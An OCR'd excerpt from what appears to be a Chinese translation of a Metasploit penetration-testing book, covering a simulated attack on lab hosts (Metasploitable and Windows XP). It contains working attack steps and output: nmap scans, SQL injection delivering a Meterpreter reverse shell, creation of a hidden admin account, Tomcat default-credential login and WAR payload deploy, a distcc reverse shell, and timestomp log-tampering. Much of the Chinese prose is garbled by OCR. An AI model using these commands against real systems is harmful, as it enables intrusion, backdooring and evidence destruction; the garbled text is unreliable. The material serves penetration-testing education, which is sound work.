BAETEMES EmEANEE, SNXEAFHTRTHML, RIKTIALE DK%
A4,

171 HIHXZE

MR R LR AE - NP R E-REEMRRLR D, FEAMHBILSTEE.
Tok M, E R A v SR P S0 A Bk B, SRR Hh B Y HE PR B AR SO £ SR Bl BGE Uy
e 5 REPRHBFEIAARMRE, BRATXBHSRE M NMEEMHAAR 4 RS, LR
X EAT 0 ) R L LEEALR AT — L 2 E A .

TEX KBRS E A, WA B AR FEPHFLE 172.1632.162 L) Metasploitable
BRI (FREFP 2042 msfadmin 7] ¥ 3% Metasploitable, XT3 IP #HITARCE ).
Metasploitable & & RIEZH T WM, FEN KERYZE, BRAEEEALRMBEN. R
i18 Windows XP $EHLACE 7E 172.16.32.131 IP Huht b B BEH 5 BN, 0 R 1EB) KEER 5 (FF
Ji T Windows Firewall), HFFHT 80 .

17.2 1HIRIEE

TN REREEREBEN LRI REENANTZ —, FYWRIRAEZ 2N TR
SE(E R, AR KR EZBANBGEE IR REtE. BRATERZANHR T PR iR Tl E LS H
PRRLE, FHHAE I A AR IR X R AT AL

B TR TN R A8 Windows XP SEHUHAT — /N EAH) nmap F#, 7T LURBL 80 4 1 £
FFRU . X BAEM T nmap KIESHE TCP 8, XMEMERIEH B ES AR RERIRTR
TH#EHFRERD . KBRARRURSE S5 A RETE R T Lrrfildg 036, BiT 50
PMEEIRKMN LRI, B e M SR AR H O a0 ILRC I I S & 0 2 eE,  BRAFIR

B E R B R .
root@bt:/# nmap -sT -P0 172.16.32.131

Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-22 23:29 EDT
Nmap scan repoﬁ: for 172.16.32.131
Host is up (0.00071s latency).
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F17TE —RERIREERL T2

Not shown: 999 filtered ports
PORT  STATE SERVICE
80/tcp open http

Nmap done: 1 IP address {1 host up) scanned in 17.46 seconds

EANEMIXE B EHEERLE & Web fRE 8, XTERd B EKM L o] AV 19 0 R Gt
AR AR, T HIXLE Web IR 55 88451452 BRI LR ] LAV i) B0 1, ZEARIRE
B, FAT1HRB) T ARAER) HTTP 3 1 80 A& FFHCK Y 3 el by ]t o R4 P ol 88 el im) e, of
LLEF WA 17-1 Frap— MM,

B 17-1 P R — Web NI

17.3 EiriEE

B 80 ¥ RN ZF, BATAI AR M#ITH A SR EMEL e fERHR, BRL
LRI LAST X A VSN BIIX 5 Web REBHITT - PHITHET.

ERMFF R — R R, KERRHEAZXE RARENBLEBRE. RIIOMTTL R
TRETRAH T ZRO4SMMTY . EXN, A —REFLKRMBEIRE, RMIZLBHR
EHREHMDITREE T, KfEH— & LGENRERE. “MRETHRABRRZEBE MR
B, Mi%%EfFH Metasploit ZAM—26i83% TR, WXt Web 2iF 1R a] LL#% 8 Burp Suite
Chttp:/fwww portswiggernet/) 5%, THAEITHECHIREE MMM TR L, PFEEIFEFR
Ko FEXANEFS, BAEER—KF THBGER, EHALMAEDRN TEST GFE
BTSRRI R51S), HEASRMAEFRA MRS5S, WA 172 FHRMTE, RITFER
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 3% i 35 &

XA

B 17-2  ZiF A SQL A

ERATSE AL — e nf ) RAEE G G RFERFXFERRMAN RS REM 4, X EE R
WA — B EMBIERE S/ SQL BT, UARMEFEITFIMRITREBEAERIIRE
Web B FF2 /50T LI & 5 Bl 7 (HiX$R 4 T — MR IF I B F—EA A Z I X Fp 2K A
HOER RIS A AW A BL . MEA A G IR AZIEH, FRA T WE 173 PARHHER
B

R BBt HAR Web MR F P74 SQL AR, EAHRINER T —4 SQL 7
WHIR “Incorrect syntax near”, TiX& HEATM AN TEST FrsliE. XOUFIFRIE 2005
RHE, ML MRIEM Google TH#], LT LAE /5 & ¥R R MS SQL.

EXH, WANASHREAZIMAX Web AT SQL EABTH, EBs LR LIRS Hy
I BRYMASECREE—NMFE SQL EARFAN RS, HEATLIPEE. (RINBEES
11 FEHRREMERS T X—HA). EE: BINFRESREER G HbFRSE, FRM HH 2
EH T HFRRY BN CBAERE, MERMNCEME T ZWABHRX G RS, £IRHE
ANEEH N EEBBCETER T .
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F17TE —RRRAEEMRKITIE

Server Error in /' Application.

Incorrect syntax near 'TEST".
Unclosed quotation mark after the character string ".

Description: An unharfie axcegtion occurmed durng ihe execuon of e curme web reques|. Plesse roview the siack ace 1or mone sonmation. abou the enor and where § ongnatied in e code

Exception Detalls: Sysiem Dais SoiCle SqiExcention incormect syrias near TEST
Uncieaed quotslion mark afier e character sirng ™ ‘

Source Error:
The source code that generated this unhandled exception can only be shown when compiled in debug mode. To enable this, please follow one of the he‘
L. Add & "Debug-true” directive at the top of the file that gemnerated the error. Example

@ Page Language="C#" Dabug~"true” %>

ar
2) Add the fellowing section to the configuration file of your application ‘

<contigurations
<systes, web>
<compllation debug="true” />
</systen webs
<feanfigurations

Mote that this second technigue will cause all files wathin a given application to be cospiled in debug mode, The first techrigue will cause only

Important: Funning applications in debug mode does incur a semory/performance overhead. You should make sure that an application has debugging dasd

Stack Trace:

| ISqifscepton (080131 904F Incorrect syntax near TEST
Unclosed quotation mark after the charaster string .|
System Dats SqiCkent SqiConnection DnErrorSqlEception meeption, Boclean breakConnection] = 925466
System.Deta SqICEent SqilnternalConnection OnErmon{SqUE sception excoption, Boolean breakConnection | +B00118
Sywtem.Dats SqICKent Tds Parses THrowETceptionAn dWarning Tds ParssrStsteCliject stateOl) + 166 4
System . Data SqiClent Tds Parser fuan(RunBehavior runBehavor, SqiCommand cnsdHandies, SqlDastaResder , Budk CopySimpl bulk CopyHandler, Tds Parser StabeCibject -
System Data SqiClient SqiDataReader ConsumeMetaliata) +31
System Duata SqICHent SqiDataReader.get_MetaDatal) +62 |
I Systom. Data. SqICHent SqiCommand. PinishifsecuteReader SqlDateReader ds, RunBehavior nunBehavier, Siring resetOpticnsString) +297 B ]

B 17-3  HiRHEE RS SQL AR

17.4 EEZEWE

EFAT Web NIRRT RIS, RIT — M0l Ul SQL AT I X BBl
I o AR LT, Fast-Track 2 BATRBBE— & MS SQL %3 7F BAR R % LA Merterpreter
MR AFEERE, BJIEIIRAESR 11 HOLL A, Fast-Track T A LIRS #EE MS SQL
LB,

TERATIRA — A Meterpreter M2 5, R Ll#E— S EFWEAT N MNENE
Metasploitable Z& 45 837 AL

17.5 MSF &inhryigER i1z

BT {#H SQLPwnage K ifiid SQL i E AKMA 4 Meterpreter i, UIHE HIZRL)S
B BB OV AR BHZ T 11 FPRAITENH T SQLPwnage £ —FBid MS SQL
EAWRR AT, el T EMBEER/E. KFIH xp_cmdshell fE%TRE K 7621
—& SQL fR% %5,
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

Metasploit i&iE Mk 1E M

FEFF UG BT B Z 00, Bl 176 B AE MSF 23 vh ¥ T — SR L BRI, O 7 SR TE B HR R,
¥ FE A0 [ CF Metasploit MWr 2%, BUSR Fast-Track AT LA F 3 M #0550 BRIX T 148 . RA1L
¥7E Metasploit "1t auto_add_route @i %, BRI LLEN ML h HahiEREHIR RS )
BN ES Y J5, Bl Fast-Track XM Hdr B 4.

root@bt:/opt/framework3/msf3# msfconsole
mst > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.32.129
LHOST =» 172.16.32.129
smsf exploit(handler) > set LPORT 443
LPORT => 443
© exploit(handler) > load auto_add_route
[*] Successfully loaded plugin: auto_add route
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 172.16.32.129:443
[*] Starting the payload handler...
msf exploit(handler) »

BATVE IO BRTE A 1 RO ) BAR RGERE M, MW T 7 3UB4T Fast-Track. (4
xterm & LHTFFRS, T ERHTE, FOARMOLEEL T HRwrad)

[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]
[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp _cmdhshell®' if disabled. [+]
[+] Delivery Complete. [+]
Launching MSFCLI Meterpreter Handler
Creating Metasploit Reverse Meterpreter Payload..
Created by msfpayload (http://www.metasploit.com).
Payload: windews/meterpreter/reverse_tcp
Length: 290
Options: LHOST=172.16.32.129,LP0RT=443
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]
[+] Sending chunked payload. Number 1 of §. This may take a bit. [+]
[+] Sending chunked payload. Number 2 of g. This may take a bit. [+]

« + « SNIP ., ..
[+] Conversion from hex to binary in progress. [+]
[+] Conversion complete. Moving the binary to an executable. [+]

[+] Splitting the hex into 100 character chunks [+]
[+] Split complete. [+]
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T AN TACE RN A S 2, AT AN 2 A B B AT A 4%, 75 N 2 AT 1) S B BRI R SRR 54T o z!xﬁg%lﬁﬁa\i%ﬂﬂ
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

17 HE —RERHRBENRIRE

[+] Prepping the payload for delivery. [+]
Sending chunk 1 of 8, this may take a bit...
Sending chunk 2 of 8, this may take a bit...

« SNIP . . .

Using HzB Bypass to convert our Payload to Binary..
Running cleanup before launching the payload....
[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]

JX N LR IR R, B 4838 Fast-Track SR H AR R4 - Web S FIFIFE, JER
Al SQL i ARBME T EHL, BAVER xp_cmdshell 7761 B2 3503+ 7S S RS R A
kTR T — N2 LhEEHT Meterpreter Shell AYHIA. .

17.6 REERE

TEIX L, RAINVIZCRTE MSF L35)5 4 HHHUE T A Meterpreter $5%)43, Hi750] 1L
IR B b REFTERM AT TN, RRALMERORE. T RRoX B, %688
B4R EHL_EA% nmap, ARJEHEIXE Windows 8H 1IZ47E.

B 56, M insecure.org Mt bR 8 i I AT S0 e L G nmap, HARTFLEAMR, BRIV
HEAZERGRE L, BTk, #HEMKN ROP WMUER AR R4 MERET, RDP
Windows RGN ESTEF I —MERE BN, EBIREESA Windows RHHITAE, RIEFBIR
AAETRENLBS ATATBRAE — P . MIRATIEEE] Meterpreter M2 E 1S, H] LIE fH Meterpreter
i) getgui WAK RDP hilGH i BRIE S ZE RAINLAS L1 8080 3 M, MRIGTEHAR RS i
MFHEERA .

A7 BackTrack Bai ML @ 44T EHIA rdesktop localhost:8080, kv LI {d Fil 7 6112 i
PGS ERBEFRE L. BT RMEAH Meterpreter 145 nmap 1B R% 1, HMEAEKEN
Windows $E4L %% nmap, RFMAIX G RGN MEBR, RETH - SHANERE. MK
H, YRt TLVE Rl Metasploit 1 F BLE SR scanner/portscan/syn 1 scanner/portscan/tcp
RBHATAR, KRR FRA CHEFRER.

meterpreter > run getgui -e -f 8080

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com

{*] Enabling Remote Desktop

[*] RDP is already enabled

[*] Setting Terminal Services service startup mode

[*] Terminal Services service is already set to auto

[*] Opening port in local firewall if necessary

[*] starting the port forwarding at local port 8080

[*] Local TCP relay created: 0.0.0.0:8080 <-» 127.0.0.1:3389
meterpreter > shell
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit & iE MK {E i

Process 2480 created.

Channel 6 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user msf metasploit /add

net user msf metasploit /ADD

The command completed successfully,
C:\WINDOWS\system32>net localgroup administrators msf /add
net localgroup administrators msf /add

The command completed successfully.

C:\WINDOWS\system32>

C:\WINDOWS\system32>~Z

Background channel 67 [y/N] ¥

meterpreter > upload nmap.exe

[*} uploading

[*] uploaded

meterpreter >

: nmap.exe -> nmap.exe
! nmap.exe -> nmap.exe

17.6.1

BLfE e R P ATIE - B MBGE T, LA BAR RS L %% nmap, BAVEFLLELAF]T
HixAmmegs 7. METUSR LA HARERN RS, HE—SBENBMET .

33 Metasploitable 241

i Meterpreter £idi il 343 auto_add_route 774> 4 FAJEIG 1 P4 31 P9 48 B Uy ) 3l iE 2
fG, BATAILUAE A EER Windows XP ACHLAEABER, REAMAMBLL AN EH. HTCL
ARHENT WML, FTLARATAT LLE V) 2 T Metasploitable $E8L H45. ik RATTE 24
—ANFEA I

258

nmap.exe -sT -

A -P0 172.16.32.162

PORT STATE. SERVICE VERSION

21/tcp  open
| _ftp-bounce:
22/tcp  open

| ssh-hostkey:

ftp ProfFTPD 1.3.1
no banner
ssh OpenSSH 4.7p1 Debian 8ubuntui (protocol 2.0)

1024 60:0f:cf:e1:c0:5F:6a:74:d6:90:24:Ffa:cq:d5:6c:cd (DSA)

| _2048 56:56:24:0f:21:1d:de:a7:2bzae:61:b1:24:3d:e8:f3 (RSA)

23/tcp open
25/tcp  open
53/tcp  open
80/tcp open
| _html-title:
139/tcp open
445/tcp open
3306/tcp open
5432/tcp open

24 W WwW. 176K u.CoM

telnet Linux telnetd
smtp Postfix smtpd
domain ISC BIND 9.4.2
http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)

Site doesn't have a title (text/html).

netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
mysql MySQL 5.0.51a-3ubuntus

postgresql PostgreSQL DB



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

FITE —RREABEMNAIE

8009/tcp open ajp13 Apache Jserv (Protocol vi.3)

8180/tcp open http Apache Tomcat/Coyote ISP engine 1.1

|_html-title: Apache Tomcat/5.5

|_http-favicon: Apache Tomcat

MAC Address: 00:0:29:39:12:B2 (VMware)

No exact 0S matches for host (If you know what 0S is running on it, see http://nmap.org/submit/ ).

Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; 0Ss: Unix, Linux

Host script results:

|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:

| 0S: Unix (Samba 3.0.20-Debian)

| Name: WORKGROUP\Unknown

| System time: 2010-05-21 22:28:01 UTC-4

05 and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.19 seconds

XEATLAEFIE 25 D RTFRM . 2T nmap KIRMERGHHARR ), RNBINHMERF
R Y22 UNIX/Linux RERHEF . MEH TP, W FTP. Telnet. HTTP. SSH.
Samba. MySQL. PostgresSQL Ml Apache 35N iZXHREAF R KB 170

17.6.2 RREFEERERMRS
10— AR RS, FTLARRA 5 e TP EAEAT AR, SRR F RN R G )i

msf > use auxiliary/scannexr/ftp/ftp_version

msf auxiliary(ftp version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162

msf auxiliary(ftp version) > run

[*] 172.16.32.162:21 FTP Banner: '220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.16.32.162]\x0d\x0a’
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ftp version) >

Wikt FTP R M2 A5, FAl1E 2 ProFTPD 1.3.1 iZ477E 21 %0 L, #FRAEH SSH £
THREZXTHRERZENELR (FAHN-v FREMERMNE - LRRGFEEME) , THEHNM
HeER BREFRNBEREZITE D ZIHMAR OpenSSH, 3% 14 Ubuntu 7 4t B4
SH.

mst > ssh 172.16.32.162 -v
[*] exec: ssh 172.16.32.162 -v

OpenSSH_5.1p1 Debian-3ubuntu1, OpenSSL 0.9.8g 19 Oct 2007
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &iE X155

PABRNZITIN T 184, K#E HiF AL FIRIEITH R A4 H Ubuntu.

msf auxiliary(telnet version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(telnet_version) > rum

[*] 172.16.32.162:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet version) >

Great! AICE 4 T HFRRZ 21T Ubuntu 8.04, LAKER T B4 AR L n# K i
(telnet #1 FTP) , LUEFREREuITEA].

BELRNESR SMTP, HE FEEHHRRZ LETEBAN B TR S . CERATRER
MR R H bRIR 95 28 F 20 17 8 MR LE R A 1) P 28 AR %5

msf > use auxiliary/scannexr/smtp/smtp_version

mst auxiliary(smtp_version) » set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162

msf auxiliary(smtp_wversion) > xun

[*] 172.16.32.162:25 SMTP 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\x0d\x0a
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(smtp version) >

M L HERA] AF 2], Metasploitable i %88 L& & KIZ1TH Postfix BT HEFIRS -
KERHB B T Il TAEAIEE BB, SREH)E, RiZESIREB TEHRRS
LRTZEAT RIS R A I F, T I L SOKs 70 16 B R Fh i 7 SR 2 2SS 1 A .

17.7 14 Apache Tomcat

MAERM B R HRITBE, EFEANBBLSHF Y.

EIRATAY E AT AT R, CREEMRRL LERS T —HMZERE, SHREEN
BBEBGEN Al R RN BM. BTE, B PHTHOR - KEEIEK, &AM R RGBT
RiREAHERE, RARMRIES BEH BRI, SR RTUER LB —NMRIFET B2
B, MAERNTE LR Apache.

R4 2 BT B 345 8, TERE) Apache Tomcat 236 7F 8180 3 I b, i — S ®AME
BRI AW, AT ## P Tomeat MEEENFES —MRNBEBRE (EXZHBERT, BRI
VI exploit-db 8% Google KXt — MRS+ tH ml BEFIETED, X HAR RS 323/ Apache
Tomeat RS RASBATH —FHNZ G, BRITEIAX Tomecat BHEH} TR HERREBIGR
FBAERBGT®RBLZ . MR LR Tomcat HEEAFHITHEE, METLIER HTTP I PUT ik
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F17E —RERREENRLE

£ AR R DRINBCH B . RAD I T oRA BN IX B ER T (BRBY T B M B
).

msf > search apache
[*] Searching loaded modules for pattern 'apache’...

« « o SNIP . . .

msf auxiliary{tomcat mgr login) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162

smsf auxiliary(tomcat_mgr login) > set THREADS 50

THREADS => 50

msf auxiliary(tomcat mgr login) > set RPORT 8180

RPORT => 8180

msf auxiliary(tomcat mgr login) > set VERBOSE false
VERBOSE =»> false

emsf auxiliary(tomcat_mgr login) > run

[+] http://172.16.32.162:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager]
successful login 'tomcat' : 'tomcat'

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tomcat_mgr login) >

AT 5 SRR RN T, Metasploit BT LR B2 i1 P 4 tomcat A1014> tomcat & % |
T Tomcat E# 2§ L, {HHAAGEE— Shell,
FARMNFERBEO4SEFE, FIH multi/http/tomcat_mgr_deploy %315 B8 H 12 4L

Apache f] HTTP PUT Zhég, [ BFR REMA BRI BEERAT .

auxiliary(tomcat_mgr_login) > use multi/http/tomcat_mgr deploy
msf exploit(tomcat_mgr_deploy) > set password tomcat

password => tomcat

msf exploit(tomcat mgr deploy) > set username tomcat

username => tomcat

msf exploit(tomcat_mgr_deploy) > set RHOST 172.16.32.162

RHOST => 172.16.32.162

msf exploit(tomcat_mgr deploy) > set LPORT 9999

LPORT => 9999

Msf exploit(tomcat mgr deploy) > set RPORT 8180

RPORT => 8180

msf exploit(tomcat_mgr_deploy) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp

msf exploit(tomcat_mgr_deploy) > exploit

[*] Using manually select target "Linux X86"

[*] Uploading 1669 bytes as FW36owipzcnHeUyIUaX.war ...

[*] Started bind handler
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&iE0iR {55

[*] Executing /FW36owipzcnHeUyIUaX/UGMIAFFjVENQOp4VveswTlma.jsp...
[*] Undeploying FW3bowipzcnHeUyIUaX ...
[*] Command shell session 1 opened (172.16.32.129:43474 -> 172.16.32.162:9999) at 2010-05-
21 23:57:47 -0400mst

1s

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

opt

proc

root

sbin

STV

sys

tmp

usr

var

vmlinuz

whoami

tomcatss

1s /root

reset_logs.sh

mkdir /root/moo.txt

mkdir: cannot create directory '/root/moo.txt': Permission denied

ER: BRAVNEEAE root HR FEASMF, BEARKREIGRE MZROH KRS, RinxE
FRFTERA PGSR K SBT3 T Apache IRF-IELL Apache H1 )7 Kk 2 11 apache . httpd .
www-data ERIZITH] . BTRAICLN B IR EVRERIERGERAR T8, 7T LU — B R4
RAFEAKRBRABENE. BRCECERE T —HEXNUR, ERIRZELT AL
—FhA R B B R AR .

2R TEHALE BRI A E, 36T AL Metasploitable £ 3K 4F root i [F4X 4 — 2
#3548 T SSH =T Hial &40 RALE 4 R 38 55 & http://www.exploit-db.com/exploits/5720/.

17.8 IEF—MRITRIBRSS

AN HAT — RERIA Y nmap 45 D33, RATIFEA RS AR RS LA W REFIR AR .
Bl FRATE LG T X REMVILE VL, 7 LU A netstat -antp 7%, 7] A& EL nmap
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
%&E%Eﬁﬁ%ﬁ, WIAFAE A PR IR BOR IR bR A 15 S EURIE PRI Z Ab, 05 40, Bk SrBIF LU 350 S IERRCTAE, 2 HE
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

FITE —REUNEEMNR SR

B H R — A L. GEEE BB, BAOANEEARKERINETSYE, ©
BEEL RS V')

WAV ILE NG 1 3632 A FFIUA 3 5HES] DistCC RS, »THBITHELHE SRR DistCC
AR TE MK B G P AM ES R C/ICHRILERRE BT, MHFEEERLRER (Y4
PRPATIZE DA, 22 EBERMARBHNABRERF S, FEERDEIEA T
X H R,

msf exploit(distcc_exec) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp

msf exploit(distcc_exec) > set LHOST 172.16.32.129

LHOST => 172.16.32.129

shomsf exploit(distcc_exec) > set RHOST 172.16.32.162

RHOST =»> 172.16.32.162

msf exploit(distcc_exec) > show payloads

Compatible Payloads

Name Rank Description

cmd/unix/bind perl normal Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/generic normal Unix Command, Generic command execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
cnd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)

msf exploit{distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(distcc_exec) > exploit

tarted reverse double handler
ccepted the first client connection..
ccepted the second client connection

*]S
A
Command: echo q6Td9oaTrOkXsBXS;
*
*

]

]

] Writing to socket A

] Writing to socket B

*] Reading from sockets...
*] Readlng from socket A

*] A: "q6Td90aTrOkXsBXS\r\n"
*] Hatching...

*] 8

*]

is input...
Command shell session 2 opened (172.16.32.129:4444 -> 172.16.32.162:47002) at 2010-05-
22 00:08:04 -0400

(
[
(*
[*
(
[
[
(
(
[
[
[

whoami

daemon

mkdir /root/moo

mkdir: cannot create directory '/root/moo’: Permission denied
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i&i%E MK 5 m

FR: BRAVRBA TS roote —IRA MR BLiki 7T LUHE— P IFE R G0 A 55 £ MR A
P, MNEXBHALHESWER, WHEHREER S P PrE2 1) 58 Metasploitable
4 EREIHIREL root MR . — MR RIKAI LA Expoit-db F IR BV A1 BRI, B2,
RiA B ORMABIX S A LRRA P AR Linux 2( Meterpreter shell I,

17.9  FREIREY BRI

TESSHRENPR S G, T PREERBEMEEERRE L, RKERBNNED, K
FrAHE FRAR, F50 2R HE W Meterpreter shell. & AU 5 BB, LB 470
Hbr R 40 L FFBCE £ M BCEH0E 25005k 3, HBAMER T PUT H KB —& Apache Tomeat
S, Bt B o T e A FH 8 B LTI IBE AR BB R A

AL, PR ERERIRIIER D, H TS P B A 3R BN R G (I EUE 43 M7 BN 12 el 1 i
Jif o FEXAEGLE . PRI H AR R EIMEATEGE ST SRR RS R A BH LT RS
IRUR AT BRI, (AT LA R G0 K 5 AR e AT IOE ST BN 51, A A LB AS o] B T 1 4R
A B i

EEHIEI T, EHRBAE TR, WURIRSC T A48 S A R G0 LHBGE 247 & Bk s
Bl LR AR GREL R, AT A RAE R H R O LB BRI, {53 TH
FRM RS RIRB] T HLE R . MNHBUES T BEN T ERE BN RE TR LBA
RINRERE, (FIXEBE NP p R R D WA .

FEZ Y — 2T W P AT 2481912 B Meterpreter {UUFFZE T N 72 2 — A3 HUBUIE 447 48
B WHEWOLT, MR RINFE A AESE 8] F W ST Meterpreter ¥ 2 1R A Bk R, RE B
B &2 % 52 RS R 1 Meterpreter BUdi g AT (9773, T Metasploit FIA-11H 4 LA KR
Meterpreter K Hr 772K 24T [H] 5 .

SR BT F AN Meterpreter 553 A AT ARA 2 18] 3 4F ELAEHTE BB HERR, 24— BreO4ahs
WEH MR AIERATG, | BRE LA A B EDRA I X6 1,  HE A6 b
FEER R ZRMAES . ERZHWGRT, BUESHTE IR M Metasploit A& 58 2404 A AF
TS E T R AH 2 A .

AT AR PEIETIR O BT D IEARIE R, FRTE Metasploit # i) LM R AR HE
IR : timestomp F1 event_manager. Timestomp & —A Meterpreter FI3E#F, 7T LLER 2
B AR SO R B B SR e R . RATTENRSBAT T timestomp:

meterpreter > timestomp

Usage: timestomp file_path OPTIONS
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ST RSP HEBORMU A2 ) 2 ], ARAT AN AN 2 A 88 AT A48, 17 IR 25 AT 1) SE AR A R B AT DR AS i 8 20 BB

RIEF DL QA7 AEBAT bR R HR b

P8 224, TR R R e E N (WWW.17HUAN.COM ) J2 381 JE AR e s (BBS.176ku.COM) i

OPTIONS:

-a <opt>
